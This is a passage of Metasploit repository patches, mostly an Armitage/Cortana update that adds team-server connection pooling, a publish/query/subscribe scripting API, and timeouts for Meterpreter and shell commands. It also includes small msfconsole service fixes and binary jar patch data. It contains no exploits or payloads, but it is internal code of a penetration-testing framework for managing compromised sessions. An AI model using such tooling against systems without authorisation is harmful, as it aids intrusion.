2]; + foreach $row ($b) { + [$model addEntry: $row]; + } + [$model fireListeners]; + }, $a => $1, $b => $2)); +} + +# table_set($table, @rows) +sub table_update { + later(lambda({ + [$a markSelections]; + table_set($a, $b); + [$a restoreSelections]; + }, $a => $1, $b => $2)); } # table_sorter($table, index, &function); diff --git a/external/source/armitage/scripts-cortana/internal.sl b/external/source/armitage/scripts-cortana/internal.sl index 5ab90d7235..a3081bf304 100644 --- a/external/source/armitage/scripts-cortana/internal.sl +++ b/external/source/armitage/scripts-cortana/internal.sl @@ -583,6 +583,39 @@ sub data_add { call("db.key_add", $1, $data); } +# +# a publish/query/subscribe API +# + +# publish("key", $object) +sub publish { + local('$data'); + $data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')]; + call_async("armitage.publish", $1, "$data $+ \n"); +} + +# query("key", "index") +sub query { + local('$r @r $result'); + $r = call("armitage.query", $1, $2)['data']; + if ($r ne "") { + foreach $result (split("\n", $r)) { + push(@r, unpack("o", [msf.Base64 decode: $result])[0]); + } + } + return @r; +} + +# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m") +sub subscribe { + on("heartbeat_ $+ $3", lambda({ + local('$result'); + foreach $result (query($key, $index)) { + fire_event_local($key, $result, $index); + } + }, $key => $1, $index => $2)); +} + # # Shell shock? # @@ -834,7 +867,7 @@ sub m_exec { }, \$command, \$channel, \$buffer)); } else { - # this is probably ok... + fire_event_local("exec_error", $1, $command, ["$3" trim]); } }, \$command)); } diff --git a/external/source/armitage/scripts/armitage.sl b/external/source/armitage/scripts/armitage.sl index 427e1c4a82..ec91b699e7 100644 --- a/external/source/armitage/scripts/armitage.sl +++ b/external/source/armitage/scripts/armitage.sl @@ -15,7 +15,7 @@ import graph.*; import java.awt.image.*; -global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME'); +global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL'); sub describeHost { local('$desc'); @@ -164,13 +164,14 @@ sub _connectToMetasploit { $client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug]; $aclient = [new RpcAsync: $client]; $mclient = $client; + push(@POOL, $aclient); initConsolePool(); $DESCRIBE = "localhost"; } # we have a team server... connect and authenticate to it. else { + [$progress setNote: "Connected: logging in"]; $client = c_client($1, $2); - setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L); $mclient = setup_collaboration($3, $4, $1, $2); $aclient = $mclient; @@ -178,6 +179,17 @@ sub _connectToMetasploit { [$progress close]; return; } + else { + [$progress setNote: "Connected: authenticated"]; + } + + # create six additional connections to team server... for balancing consoles. + local('$x $cc'); + for ($x = 0; $x < 6; $x++) { + $cc = c_client($1, $2); + call($cc, "armitage.validate", $3, $4, $null, "cobaltstrike", 120326); + push(@POOL, $cc); + } } $flag = $null; } diff --git a/external/source/armitage/scripts/preferences.sl b/external/source/armitage/scripts/preferences.sl index 19ad929524..fa42a7afc7 100644 --- a/external/source/armitage/scripts/preferences.sl +++ b/external/source/armitage/scripts/preferences.sl @@ -57,12 +57,18 @@ sub parseYaml { sub loadPreferences { local('$file $prefs'); $file = getFileProper(systemProperties()["user.home"], ".armitage.prop"); - $prefs = [new Properties]; - if (-exists $file) { - [$prefs load: [new java.io.FileInputStream: $file]]; + if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) { + $prefs = [$__frame__ getPreferences]; } else { - [$prefs load: resource("resources/armitage.prop")]; + $prefs = [new Properties]; + if (-exists $file) { + [$prefs load: [new java.io.FileInputStream: $file]]; + } + else { + [$prefs load: resource("resources/armitage.prop")]; + } + [$__frame__ setPreferences: $prefs]; } # parse command line options here. diff --git a/external/source/armitage/scripts/shell.sl b/external/source/armitage/scripts/shell.sl index 7af64f264e..43abea73c3 100644 --- a/external/source/armitage/scripts/shell.sl +++ b/external/source/armitage/scripts/shell.sl @@ -290,7 +290,7 @@ sub createShellSessionTab { return; } - $thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0]; + $thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0]; [$frame addTab: "Shell $sid", $console, lambda({ call_async($mclient, "armitage.unlock", $sid); [$thread kill]; diff --git a/external/source/armitage/scripts/util.sl b/external/source/armitage/scripts/util.sl index b226c1edc2..8bc953b989 100644 --- a/external/source/armitage/scripts/util.sl +++ b/external/source/armitage/scripts/util.sl @@ -78,7 +78,7 @@ sub setupEventStyle { sub createDisplayTab { local('$console $host $queue $file'); - $queue = [new ConsoleQueue: $client]; + $queue = [new ConsoleQueue: rand(@POOL)]; if ($1 eq "Log Keystrokes") { $console = [new ActivityConsole: $preferences]; } @@ -100,7 +100,7 @@ sub createConsolePanel { setupConsoleStyle($console); $result = call($client, "console.create"); - $thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1]; + $thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1]; [$thread setMetasploitConsole]; [$thread setSessionListener: { diff --git a/external/source/armitage/src/armitage/ConsoleClient.java b/external/source/armitage/src/armitage/ConsoleClient.java index 7937362f1a..82a8b05fd2 100644 --- a/external/source/armitage/src/armitage/ConsoleClient.java +++ b/external/source/armitage/src/armitage/ConsoleClient.java @@ -215,6 +215,7 @@ public class ConsoleClient implements Runnable, ActionListener { Map read; boolean shouldRead = go_read; String command = null; + long last = 0; try { while (shouldRead) { @@ -230,21 +231,23 @@ public class ConsoleClient implements Runnable, ActionListener { lastRead = System.currentTimeMillis(); } - read = readResponse(); - - if (read == null || "failure".equals( read.get("result") + "" )) { - break; - } - - processRead(read); - - if ((System.currentTimeMillis() - lastRead) <= 500) { - Thread.sleep(10); + long now = System.currentTimeMillis(); + if (this.window != null && !this.window.isShowing() && (now - last) < 1500) { + /* check if our window is not showing... if not, then we're going to switch to a very reduced + read schedule. */ } else { - Thread.sleep(500); + read = readResponse(); + if (read == null || "failure".equals( read.get("result") + "" )) { + break; + } + + processRead(read); + last = System.currentTimeMillis(); } + Thread.sleep(100); + synchronized (listeners) { shouldRead = go_read; } diff --git a/external/source/armitage/src/cortana/data/Sessions.java b/external/source/armitage/src/cortana/data/Sessions.java index cedac86993..6b4da2455d 100644 --- a/external/source/armitage/src/cortana/data/Sessions.java +++ b/external/source/armitage/src/cortana/data/Sessions.java @@ -130,6 +130,10 @@ public class Sessions extends ManagedData { } } + /* calculate the differences and fire some events based on them */ + Set newSessions = DataUtils.difference(after, before); + fireSessionEvents("session_open", newSessions.iterator(), dataz); + /* calculate sync events and fix the nonsync set */ Set newsync = DataUtils.intersection(syncz, nonsync); fireSessionEvents("session_sync", newsync.iterator(), dataz); @@ -137,11 +141,9 @@ public class Sessions extends ManagedData { /* update our list of non-synced sessions */ nonsync.removeAll(syncz); - /* calculate the differences and fire some events based on them */ - Set newSessions = DataUtils.difference(after, before); - fireSessionEvents("session_open", newSessions.iterator(), dataz); - - newSessions.retainAll(syncz); + /* these are sessions that are new and sync'd -- fire events for them... */ + newSessions.removeAll(newsync); /* we already fired events for these */ + newSessions.retainAll(syncz); /* keep anything that is synced */ fireSessionEvents("session_sync", newSessions.iterator(), dataz); Set droppedSessions = DataUtils.difference(before, after); diff --git a/external/source/armitage/src/cortana/gui/UIBridge.java b/external/source/armitage/src/cortana/gui/UIBridge.java index d4def58a71..42fe117687 100644 --- a/external/source/armitage/src/cortana/gui/UIBridge.java +++ b/external/source/armitage/src/cortana/gui/UIBridge.java @@ -30,11 +30,16 @@ public class UIBridge implements Loadable, Function { if (name.equals("&later")) { final SleepClosure f = BridgeUtilities.getFunction(args, script); final Stack argz = EventManager.shallowCopy(args); - SwingUtilities.invokeLater(new Runnable() { - public void run() { - SleepUtils.runCode(f, "laterz", null, argz); - } - }); + if (SwingUtilities.isEventDispatchThread()) { + SleepUtils.runCode(f, "laterz", null, argz); + } + else { + SwingUtilities.invokeLater(new Runnable() { + public void run() { + SleepUtils.runCode(f, "laterz", null, argz); + } + }); + } } return SleepUtils.getEmptyScalar(); diff --git a/external/source/armitage/src/cortana/metasploit/ShellSession.java b/external/source/armitage/src/cortana/metasploit/ShellSession.java index f79f752511..4f3207680d 100644 --- a/external/source/armitage/src/cortana/metasploit/ShellSession.java +++ b/external/source/armitage/src/cortana/metasploit/ShellSession.java @@ -75,7 +75,8 @@ public class ShellSession implements Runnable { /* loop forever waiting for response to come back. If session is dead then this loop will break with an exception */ - while (true) { + long start = System.currentTimeMillis(); + while ((System.currentTimeMillis() - start) < 60000) { response = readResponse(); String data = (response.get("data") + ""); @@ -95,6 +96,7 @@ public class ShellSession implements Runnable { Thread.sleep(100); } + System.err.println(session + " -> " + c.text + " (took longer than anticipated, dropping: " + (System.currentTimeMillis() - start) + ")"); } catch (Exception ex) { System.err.println(session + " -> " + c.text + " ( " + response + ")"); diff --git a/external/source/armitage/src/msf/MeterpreterSession.java b/external/source/armitage/src/msf/MeterpreterSession.java index 2f42fc09d9..fb91d6ab9e 100644 --- a/external/source/armitage/src/msf/MeterpreterSession.java +++ b/external/source/armitage/src/msf/MeterpreterSession.java @@ -14,7 +14,7 @@ public class MeterpreterSession implements Runnable { protected String session; protected boolean teammode; - public static long DEFAULT_WAIT = 12000; + public static long DEFAULT_WAIT = 120000; private static class Command { public Object token; diff --git a/external/source/armitage/src/msf/RpcConnectionImpl.java b/external/source/armitage/src/msf/RpcConnectionImpl.java index d784ab17b7..426cb079ae 100644 --- a/external/source/armitage/src/msf/RpcConnectionImpl.java +++ b/external/source/armitage/src/msf/RpcConnectionImpl.java @@ -10,6 +10,7 @@ import javax.xml.transform.*; import javax.xml.transform.dom.*; import javax.xml.transform.stream.*; import org.w3c.dom.*; +import armitage.ArmitageBuffer; /** * This is a modification of msfgui/RpcConnection.java by scriptjunkie. Taken from @@ -85,6 +86,22 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { protected HashMap locks = new HashMap(); protected String address = ""; + protected HashMap buffers = new HashMap(); + + /* help implement our remote buffer API for PQS primitives */ + public ArmitageBuffer getABuffer(String key) { + synchronized (buffers) { + ArmitageBuffer buffer; + if (buffers.containsKey(key)) { + buffer = (ArmitageBuffer)buffers.get(key); + } + else { + buffer = new ArmitageBuffer(16384); + buffers.put(key, buffer); + } + return buffer; + } + } public String getLocalAddress() { return address; @@ -133,6 +150,23 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { locks.remove(params[0] + ""); return new HashMap(); } + else if (methodName.equals("armitage.publish")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + buffer.put(params[1] + ""); + return new HashMap(); + } + else if (methodName.equals("armitage.query")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + String data = (String)buffer.get(params[1] + ""); + HashMap temp = new HashMap(); + temp.put("data", data); + return temp; + } + else if (methodName.equals("armitage.reset")) { + ArmitageBuffer buffer = getABuffer(params[0] + ""); + buffer.reset(); + return new HashMap(); + } else if (hooks.containsKey(methodName)) { RpcConnection con = (RpcConnection)hooks.get(methodName); return con.execute(methodName, params); diff --git a/external/source/armitage/src/ui/ATable.java b/external/source/armitage/src/ui/ATable.java index ce80216dbd..6b9eb9b140 100644 --- a/external/source/armitage/src/ui/ATable.java +++ b/external/source/armitage/src/ui/ATable.java @@ -10,8 +10,48 @@ import table.*; import java.util.*; public class ATable extends JTable { + public static final String indicator = " \u271A"; + protected boolean alternateBackground = false; + protected int[] selected = null; + + /* call this function to store selections */ + public void markSelections() { + selected = getSelectedRows(); + } + + public void fixSelection() { + if (selected.length == 0) + return; + + getSelectionModel().setValueIsAdjusting(true); + + int rowcount = getModel().getRowCount(); + + for (int x = 0; x < selected.length; x++) { + if (selected[x] < rowcount) { + getSelectionModel().addSelectionInterval(selected[x], selected[x]); + } + } + + getSelectionModel().setValueIsAdjusting(false); + } + + /* call this function to restore selections after a table update */ + public void restoreSelections() { + if (!SwingUtilities.isEventDispatchThread()) { + SwingUtilities.invokeLater(new Runnable() { + public void run() { + fixSelection(); + } + }); + } + else { + fixSelection(); + } + } + public static TableCellRenderer getDefaultTableRenderer(final JTable table, final TableModel model) { final Set specialitems = new HashSet(); specialitems.add("Wordlist"); @@ -39,7 +79,7 @@ public class ATable extends JTable { String content = (value != null ? value : "") + ""; if (specialitems.contains(content) || content.indexOf("FILE")!= -1) { - content = content + " \u271A"; + content = content + indicator; } JComponent c = (JComponent)render.getTableCellRendererComponent(table, content, isSelected, false, row, column); @@ -117,6 +157,47 @@ public class ATable extends JTable { }; } + public static TableCellRenderer getTimeTableRenderer() { + return new TableCellRenderer() { + public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) { + TableCellRenderer render = table.getDefaultRenderer(String.class); + + JComponent c = (JComponent)render.getTableCellRendererComponent(table, "", isSelected, false, row, column); + + try { + long size = Long.parseLong(value + ""); + String units = "ms"; + + if (size > 1000) { + size = size / 1000; + units = "s"; + } + else { + ((JLabel)c).setText(size + units); + return c; + } + + if (size > 60) { + size = size / 60; + units = "m"; + } + + if (size > 60) { + size = size / 60; + units = "h"; + } + + ((JLabel)c).setText(size + units); + } + catch (Exception ex) { + + } + + return c; + } + }; + } + public void adjust() { setShowGrid(false); setIntercellSpacing(new Dimension(0, 0)); diff --git a/external/source/armitage/src/ui/MultiFrame.java b/external/source/armitage/src/ui/MultiFrame.java index 96bea014f1..ba994e940e 100644 --- a/external/source/armitage/src/ui/MultiFrame.java +++ b/external/source/armitage/src/ui/MultiFrame.java @@ -17,6 +17,7 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher { protected JPanel content; protected CardLayout cards; protected LinkedList buttons; + protected Properties prefs; private static class ArmitageInstance { public ArmitageApplication app; @@ -24,6 +25,14 @@ public class MultiFrame extends JFrame implements KeyEventDispatcher { public RpcConnection client; } + public void setPreferences(Properties prefs) { + this.prefs = prefs; + } + + public Properties getPreferences() { + return prefs; + } + public Map getClients() { synchronized (buttons) { Map r = new HashMap(); diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index 55804871ff..a7249cd52b 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,30 @@ Armitage Changelog ================== +6 Mar 13 (tested against msf ca43900a7) +-------- +- Active console now gets higher priority when polling msf for output +- Improved team server responsiveness in high latency situations by + creating additional connections to server to balance messages over +- Preferences are now shared among each Armitage connection. + +Cortana Updates (for scripters) +-------- +- Added a &publish, &query, &subscribe API to allow inter-script + communication across the team server. +- Added &table_update to set the contents of a table tab without + disturbing the highlighted rows. +- Added an exec_error event. Fired when &m_exec or &m_exec_local fail + due to an error reported by meterpreter. +- Fixed a bug that sometimes caused session_sync to fire twice (boo!) +- Added a 60s timeout to &s_cmd commands. Cortana will give a shell + command 60s to execute. If it doesn't finish in that time, Cortana + will release the lock on the shell so the user can control it. + (ideally, this shouldn't happen... this is a safety mechanism) +- Changed Meterpreter command timeout to 2m from 12s. This is because + https meterpreter might not checkin for up to 60s, if it's been + idle for a long time. This will make &m_cmd less likely to timeout + 12 Feb 13 (tested against msf 16438) --------- - Fixed a corner case preventing the display of removed host labels From fb0237a180eccba807c5e3386fb9f740a866ace7 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Mar 2013 18:26:59 -0600 Subject: [PATCH 419/448] Fix typo --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 2e24232fe4..04c3696415 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2642,7 +2642,7 @@ class Core if is_metasploit_service_running launch_metasploit_browser else - print_error "Metasploit services aren't running. Type 'service start metasploit' and try again." + print_error "Metasploit services aren't running. Type 'service metasploit start' and try again." end end return true From 370aed5973f603ddff5a903716182954d93ce5b2 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Mar 2013 18:27:22 -0600 Subject: [PATCH 420/448] Silence status output, it is distracting --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 04c3696415..62edace397 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2704,7 +2704,7 @@ class Core def is_metasploit_service_running cmd = "/usr/sbin/service" - system(cmd, "metasploit", "status") # Both running returns true, otherwise, false. + system("#{cmd} metasploit status >/dev/null") # Both running returns true, otherwise, false. end def is_metasploit_debian_package_installed From 4e31187f7218c260dcea1235b2a51d3cb556f9f2 Mon Sep 17 00:00:00 2001 From: Brandon Turner Date: Mon, 4 Mar 2013 18:35:47 -0600 Subject: [PATCH 421/448] Use start.sh to start Pro via go_pro command start.sh (installed with community/pro on apt installs) automatically starts dependency services (such as postgresql). --- lib/msf/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 62edace397..4b1bbb5fe0 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2695,9 +2695,9 @@ class Core end def start_metasploit_service - cmd = "/usr/sbin/service" + cmd = File.expand_path(File.join(msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) return unless ::File.executable_real? cmd - %x{#{cmd} metasploit start}.each_line do |line| + %x{#{cmd}}.each_line do |line| print_status line.chomp end end From 4ab8315db050632c28f60ab9e3097cf741cf0030 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Mon, 4 Mar 2013 23:11:20 -0500 Subject: [PATCH 422/448] Armitage 03.06.13 Apparently, my last update came from the future. This modification to that future update fixes an oversight preventing Armitage from connecting to its collaboration server because it would report the wrong application. --- data/armitage/armitage.jar | Bin 3220970 -> 3220971 bytes data/armitage/cortana.jar | Bin 3220965 -> 3220966 bytes data/armitage/whatsnew.txt | 5 +++++ external/source/armitage/scripts/armitage.sl | 2 +- .../source/armitage/scripts/preferences.sl | 5 ++++- external/source/armitage/whatsnew.txt | 5 +++++ 6 files changed, 15 insertions(+), 2 deletions(-) diff --git a/data/armitage/armitage.jar b/data/armitage/armitage.jar index b4ee0c001f7c23728810224e7bb7658d74357b72..143b587e24614fb24e7a6ada5e163bf7a6a86dea 100755 GIT binary patch delta 17817 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 